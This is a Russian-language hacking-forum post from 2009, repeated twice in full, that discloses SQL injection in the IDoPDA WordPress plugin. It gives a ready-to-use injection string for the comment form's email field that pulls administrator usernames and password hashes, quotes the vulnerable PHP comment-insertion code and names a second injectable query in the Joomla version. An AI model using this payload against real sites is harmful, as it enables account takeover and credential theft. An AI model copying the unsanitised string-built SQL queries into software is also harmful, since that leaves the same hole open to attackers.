BlackSun
01.03.2009, 07:53
IDoPDA WordPress
Офф. сайт: http://idopda.ru/
Настройки хранятся в .inc файле: cfg.inc
no comments ..
SQL-INJ
Уязвимый скрипт: index.php
Зависимость: magic_quotes = off
Запрос: Добавляем коментарий ( http://pda.wp.localhost/?comment=1 )
email = a',0,0,0,0,(select concat_ws(0x3a,user_login,user_pass) from ##users limit 0,1),0,0,0,0,0,0) --
Уязвимый кусок кода:
// index.php
if (isset($_POST["addcomment"])) {
fn_AddC($_POST);
unset($_POST);
}
// functions.inc
function fn_AddC($post) {
// Добавление комментария
$add = array();
// Проверка имени
if (isset($post["Name"])) {
if (strlen(trim($post["Name"]))==0) die("c~~~Name");
$post["Name"] = strip_tags($post["Name"]);
}
else die("c~~~Name");
// Проверка электронной почты
// Албанцы отдыхают ..
if (isset($post["Email"])) {
if (strlen(trim($post["Email"]))==0) die("c~~~");
if (preg_match ( "/^[-\w.]+@([A-z0-9][-A-z0-9]+\.)+[A-z]{2,4}$/", $post["Email"])) die("c~~~Email");
}
else die("c~~~Email");
// Проверка текста
// А вот тут я прикола не понял ... уязвимость будет работать, если эту строку поправят ..
// Впрочем если поправят и проверку мыла - то скуля будет в теле коментария.
if (!isset($post["Content"])) {
if (strlen(trim($post["Content"]))==0) die("c~~~Content");
$post["Content"] = strip_tags($post["Content"]);
}
else die("c~~~Content");
// Проврека кода
if (isset($post["Secret"])) {
if ((strlen(trim($post["Secret"]))==0) or ($post["Secret"]!==$_SESSION["key"])) die("c~~~Secret");
}
else die("c~~~Secret");
unset($_SESSION["key"]);
$add["comment_author"] = $post["Name"];
$add["comment_author_email"] = $post["Email"];
$add["comment_content"] = $post["Content"];
$add["comment_author_url"] = $post["Name"];
$add["comment_post_ID"] = (int)$post["Post"];
$add["comment_author_IP"] = $_SERVER["REMOTE_ADDR"];
$add["comment_date"] = date("Y-m-d H:i:s");
$add["comment_date_gmt"] = gmdate("Y-m-d H:i:s");
$sql = "INSERT INTO `##comments` ( `comment_ID` , `comment_post_ID` , `comment_author` , `comment_author_email` , `comment_author_url` , `comment_author_IP` , `comment_date` , `comment_date_gmt` , `comment_content` , `comment_karma` , `comment_approved` , `comment_agent` , `comment_type` , `comment_parent` , `user_id` )
VALUES ('', '".$add["comment_post_ID"]."', '".$add["comment_author"]."', '".$add["comment_author_email"]."', '".$add["comment_author_url"]."', '".$add["comment_author_IP"]."', '".$add["comment_date"]."', '".$add["comment_date_gmt"]."', '".$add["comment_content"]."', '0', '0', '', '', '0', '0');";
$sql = str_replace("##",_PREFIX,$sql);
$result = mysql_query($sql) or die(mysql_error());
header("Location: ?comment=".$post["Post"]);
}
В IDoPDA Joomla так же присутствует скуль, но я раскрутить не смог ..
function getFArticle($id,$link) {
// Функция возвращает полный текст для вывода материала
// id - индекс материала
// link - часть ссылки
// Запрос к бд
$sql = "SELECT co.`title` AS title,concat(co.`introtext`,co.`fulltext`) AS text,ca.`title` AS category,se.`title` AS section,us.`name` AS author
FROM `##content` AS co,`##categories` AS ca,`##sections` AS se,`##users` AS us
WHERE co.`id` = '".$id."'
AND co.`state` = '1'
AND ca.`id` = co.`catid`
AND se.`id` = co.`sectionid`
AND us.`id` = co.`created_by`
ORDER BY co.`created` DESC";
$sql = str_replace("##",_PREFIX,$sql);
Офф. сайт: http://idopda.ru/
Настройки хранятся в .inc файле: cfg.inc
no comments ..
SQL-INJ
Уязвимый скрипт: index.php
Зависимость: magic_quotes = off
Запрос: Добавляем коментарий ( http://pda.wp.localhost/?comment=1 )
email = a',0,0,0,0,(select concat_ws(0x3a,user_login,user_pass) from ##users limit 0,1),0,0,0,0,0,0) --
Уязвимый кусок кода:
// index.php
if (isset($_POST["addcomment"])) {
fn_AddC($_POST);
unset($_POST);
}
// functions.inc
function fn_AddC($post) {
// Добавление комментария
$add = array();
// Проверка имени
if (isset($post["Name"])) {
if (strlen(trim($post["Name"]))==0) die("c~~~Name");
$post["Name"] = strip_tags($post["Name"]);
}
else die("c~~~Name");
// Проверка электронной почты
// Албанцы отдыхают ..
if (isset($post["Email"])) {
if (strlen(trim($post["Email"]))==0) die("c~~~");
if (preg_match ( "/^[-\w.]+@([A-z0-9][-A-z0-9]+\.)+[A-z]{2,4}$/", $post["Email"])) die("c~~~Email");
}
else die("c~~~Email");
// Проверка текста
// А вот тут я прикола не понял ... уязвимость будет работать, если эту строку поправят ..
// Впрочем если поправят и проверку мыла - то скуля будет в теле коментария.
if (!isset($post["Content"])) {
if (strlen(trim($post["Content"]))==0) die("c~~~Content");
$post["Content"] = strip_tags($post["Content"]);
}
else die("c~~~Content");
// Проврека кода
if (isset($post["Secret"])) {
if ((strlen(trim($post["Secret"]))==0) or ($post["Secret"]!==$_SESSION["key"])) die("c~~~Secret");
}
else die("c~~~Secret");
unset($_SESSION["key"]);
$add["comment_author"] = $post["Name"];
$add["comment_author_email"] = $post["Email"];
$add["comment_content"] = $post["Content"];
$add["comment_author_url"] = $post["Name"];
$add["comment_post_ID"] = (int)$post["Post"];
$add["comment_author_IP"] = $_SERVER["REMOTE_ADDR"];
$add["comment_date"] = date("Y-m-d H:i:s");
$add["comment_date_gmt"] = gmdate("Y-m-d H:i:s");
$sql = "INSERT INTO `##comments` ( `comment_ID` , `comment_post_ID` , `comment_author` , `comment_author_email` , `comment_author_url` , `comment_author_IP` , `comment_date` , `comment_date_gmt` , `comment_content` , `comment_karma` , `comment_approved` , `comment_agent` , `comment_type` , `comment_parent` , `user_id` )
VALUES ('', '".$add["comment_post_ID"]."', '".$add["comment_author"]."', '".$add["comment_author_email"]."', '".$add["comment_author_url"]."', '".$add["comment_author_IP"]."', '".$add["comment_date"]."', '".$add["comment_date_gmt"]."', '".$add["comment_content"]."', '0', '0', '', '', '0', '0');";
$sql = str_replace("##",_PREFIX,$sql);
$result = mysql_query($sql) or die(mysql_error());
header("Location: ?comment=".$post["Post"]);
}
В IDoPDA Joomla так же присутствует скуль, но я раскрутить не смог ..
function getFArticle($id,$link) {
// Функция возвращает полный текст для вывода материала
// id - индекс материала
// link - часть ссылки
// Запрос к бд
$sql = "SELECT co.`title` AS title,concat(co.`introtext`,co.`fulltext`) AS text,ca.`title` AS category,se.`title` AS section,us.`name` AS author
FROM `##content` AS co,`##categories` AS ca,`##sections` AS se,`##users` AS us
WHERE co.`id` = '".$id."'
AND co.`state` = '1'
AND ca.`id` = co.`catid`
AND se.`id` = co.`sectionid`
AND us.`id` = co.`created_by`
ORDER BY co.`created` DESC";
$sql = str_replace("##",_PREFIX,$sql);